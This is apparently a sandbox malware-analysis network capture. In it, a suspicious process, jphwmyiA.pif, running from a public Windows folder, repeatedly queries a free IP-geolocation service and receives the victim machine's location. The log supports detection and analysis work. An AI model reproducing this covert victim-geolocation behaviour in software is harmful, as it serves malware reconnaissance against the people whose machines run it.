                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567518
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q1pHfoZJH8TO%2BvMAuWGxU%2FEAoZSbUZGNbOigLs7c9xZq%2FfzRdbwBu2LThE64Bs28EqzXQ2rNWmM8GYSHzYGhH6tk9i0cosM8Yg68f4cUqlFnJMopkOPP2pewV3DI75LxDDiyLqxM"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee455a5743ab-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1590&rtt_var=795&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4234&recv_bytes=699&delivery_rate=112998&cwnd=221&unsent_bytes=0&cid=60b903ba03b55683&ts=240&x=0"
                                                                                                                                                          2025-01-07 12:25:29 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          6192.168.2.549871188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:29 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:29 UTC857INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567518
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zeFIXhc7BjrUvTofjl2kxBV08AaI67Z2w1WHOFYtzbslIgkVKw0d6ZL02nB3qhxUPclGBpPACPnFHuwMAA%2BfqGizuLS%2FCGwn0E6xFVJt6xY2f%2F3XAgKK0%2FNM8GdgjCKRR0DSSZ02"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee47bd7a4276-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2229&min_rtt=2211&rtt_var=865&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1239915&cwnd=208&unsent_bytes=0&cid=559b825bf7d8fd25&ts=190&x=0"
                                                                                                                                                          2025-01-07 12:25:29 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          7192.168.2.549879188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:30 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:30 UTC863INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:30 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567519
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mD9OYY53tl8txO%2Fr9GfIj7mdwZGD2f6%2FPTdYdEiRedr5U%2BmyvSwWOh1RXlLVJApdaxwI5eK6Bg1i6YhZkJRlSds5SvewbiXFs%2FBTp8FMuxQyHzIJ7QsHY0sj%2Bf%2BKEy%2BAzEK7xyQy"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee4d3d025e73-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1709&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1682997&cwnd=201&unsent_bytes=0&cid=807e137c7d0cefed&ts=144&x=0"
                                                                                                                                                          2025-01-07 12:25:30 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          8192.168.2.549880188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:30 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:30 UTC857INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:30 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567519
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8E2ZdJc3zJjlD7CY7FjF1NJ%2FgvTLz4mKjPzmgsTUTFFMFUJaf5wq0rZ4URMPNpHi%2Bb%2BUIkYSRrXqgyWlZsuEwbDG8Jd7RXF4zRKZ6pP0DngsidOOtlS7lh1Oml4EAnjXPadQE%2FyL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee4e69db7c9f-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1808&min_rtt=1807&rtt_var=680&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1607044&cwnd=217&unsent_bytes=0&cid=b22a95a1787328dc&ts=137&x=0"
                                                                                                                                                          2025-01-07 12:25:30 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          9192.168.2.549887188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:31 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:31 UTC860INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:31 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567520
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h%2FVMit0w8CRzKKYMzfXjL2Gt3H%2FQDK%2B9KPw1tUZbCb1TJ9OvFLeLBdYywZii9YUyGggebaJIpF9%2FGnOiWrUPxV3LJcIojG0GbY9t%2BE82UGYgCDLHh1Ek26fwTfsFHy8EnCiC%2Fzkx"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee51895a4374-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1562&min_rtt=1552&rtt_var=603&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1784841&cwnd=32&unsent_bytes=0&cid=4963f9a11c1fb2da&ts=170&x=0"
                                                                                                                                                          2025-01-07 12:25:31 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          10192.168.2.549895188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:31 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:31 UTC859INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:31 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567521
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cwc0k6SSaOSF5cNW0jYlvTujt%2FIc457SUC0Gq7bmAQEC0GPuyjSYYpQYujYB%2BpoDEXU%2FTDFBo%2B2vLTxMwr%2FhiBY2P7kmpUW8lz7hpmzkfU3indkLqx1XVRCLrhDfMEJ18umqOqd0"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee563974423e-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1699&rtt_var=648&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1718658&cwnd=197&unsent_bytes=0&cid=7801d10d8bd7034b&ts=158&x=0"
                                                                                                                                                          2025-01-07 12:25:31 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          11192.168.2.549896188.114.97.34435476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:31 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:32 UTC853INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:32 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567521
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MCZmID1PrAbabXQbKkONgTYQt4tAB%2F%2Bsiav9gb0HkqJwegS1RcDoyqVzXXLudEjZgWiYM5XUdvywbHSMTcvcHqTQBQXeYqcshOrH8PSlNTqEQR76cFJiMUAmKc1v4WrwpJiNvIYj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee573cb94349-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1570&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1812538&cwnd=227&unsent_bytes=0&cid=b88e404c8ec4442f&ts=143&x=0"
                                                                                                                                                          2025-01-07 12:25:32 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          12192.168.2.549897188.114.97.34436396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:31 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          2025-01-07 12:25:32 UTC853INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:32 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567521
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fr0oGA7d6AGd6Z46WZ6us6QALGHkjT0%2BNXLPZ1vvHNbWHBlFOv89mVNLgUvdCTm%2F7XfEMSsZZTjD8Mtl0oXtboEIF663TssHogPzgW0qIwTjS4OeO8stfL70qL4sU9sRvLlXaq1x"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee574e1242ac-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1716&rtt_var=657&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1647855&cwnd=215&unsent_bytes=0&cid=3cf231f4bf68b3f1&ts=138&x=0"
                                                                                                                                                          2025-01-07 12:25:32 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                          Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          13192.168.2.549912188.114.97.34432228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          2025-01-07 12:25:33 UTC61OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                          Host: reallyfreegeoip.org
                                                                                                                                                          2025-01-07 12:25:33 UTC857INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:33 GMT
                                                                                                                                                          Content-Type: text/xml
                                                                                                                                                          Content-Length: 362
                                                                                                                                                          Connection: close
                                                                                                                                                          Age: 1567523
                                                                                                                                                          Cache-Control: max-age=31536000
                                                                                                                                                          cf-cache-status: HIT
                                                                                                                                                          last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2oOERNuAD4pDjoc%2FjaNGk4GdCCQZl02gHYzKQd2Fj%2BtmaJ8sxMQfqKjrZlVQs4CMByO7S03ZbLDAe14tqBSePWzpne5%2BKPp%2F3aBNID5whwI43o0912gOVeItOKp7r9ISv5LU3ozj"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                          Server: cloudflare
                                                                                                                                                          CF-RAY: 8fe3ee629c758ce2-EWR
                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=2025&min_rtt=2021&rtt_var=766&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1420233&cwnd=202&unsent_bytes=0&cid=569da648ced2730e&ts=154&x=0"
